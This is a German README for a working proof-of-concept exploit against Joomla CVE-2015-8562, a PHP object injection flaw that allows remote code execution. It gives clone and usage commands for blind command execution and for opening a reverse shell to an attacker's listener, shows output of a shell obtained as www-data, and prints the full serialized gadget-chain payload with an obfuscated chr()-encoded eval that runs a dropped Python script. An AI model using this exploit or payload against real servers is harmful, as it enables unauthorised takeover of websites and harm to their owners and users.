
Ein Proof-of-Concept für die Joomla-Schwachstelle CVE-2015-8562 (Object Injection RCE)
Ein Proof of Concept für die Joomla CVE-2015-8562 Schwachstelle (Object Injection RCE)
Dieser PoC ist die zweite Version der Implementierung, die auf exploit-db gehostet ist.
-Fehlerbehebung (Sitzung neu generieren)
-Option hinzugefügt, von X-Forwarded-For auf User-Agent-Methode umzuschalten
-Option hinzugefügt, von einer Python-Reverse-Shell auf eine Bash umzuschalten
-Ausnahmebehandlung für fehlendes HTTP-Schema und Skriptabbruch hinzugefügt
-Überarbeitet für bessere Nutzung, bessere Nachrichten und Farben
-TODO: Hinzufügen von msf-Unterstützung
git clone https://github.com/VoidSec/Joomla_CVE-2015-8562.git
cd Joomla_CVE-2015-8562
Blinde RCE:
python joomla-cve-2015-8562.py -t http://<target_ip>/ --cmd
$ touch /tmp/test
Reverse Shell starten:
python joomla-cve-2015-8562.py -t http://<target_ip>/ -l <local_ip> -p <local_port>
[-] Versuche, Joomla RCE (CVE-2015-8562) auszunutzen: http://<target_ip>/
[-] Lade Python-Reverse-Shell hoch
<Response [200]>
[+] Starte Reverse Shell....
<Response [200]>
Listening on [0.0.0.0] (family 0, port 1337)
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Im Dezember 2015 wurde eine neue Schwachstelle in Joomla entdeckt. Sie ermöglicht einem entfernten Angreifer, PHP-Objektinjektionsangriffe auszuführen und beliebigen PHP-Code über den HTTP-User-Agent-Header auszuführen.
Diese Schwachstelle betrifft Joomla 1.5.0 bis 3.4.5 und PHP-Versionen vor 5.4.45 (einschließlich 5.3.x), 5.5.29 oder 5.6.13 CVE-2015-6835.
Ich habe diesen Blogbeitrag verfasst, der die Schwachstelle erklärt.
}__test|O:21:"JDatabaseDriverMysqli":3:{
s:2:"fc";
O:17:"JSimplepieFactory":0:{}
s:21:"\0\0\0disconnectHandlers";
a:1:{
i:0;
a:2:{
i:0;
O:9:"SimplePie":5:{
s:8:"sanitize";
O:20:"JDatabaseDriverMysql":0:{}
s:8:"feed_url";
s:305:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(112).chr(121).chr(116).chr(104).chr(111).chr(110).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(76).chr(56).chr(51).chr(55).chr(66).chr(72).chr(46).chr(112).chr(121).chr(39).chr(41).chr(59));
JFactory::getConfig();
exit";
s:19:"cache_name_function";
s:6:"assert";
s:5:"cache";
b:1;s:11:"cache_class";
O:20:"JDatabaseDriverMysql":0:{}
}
i:1;
s:4:"init";
}
}
s:13:"\0\0\0connection";
b:1;
}ýýýý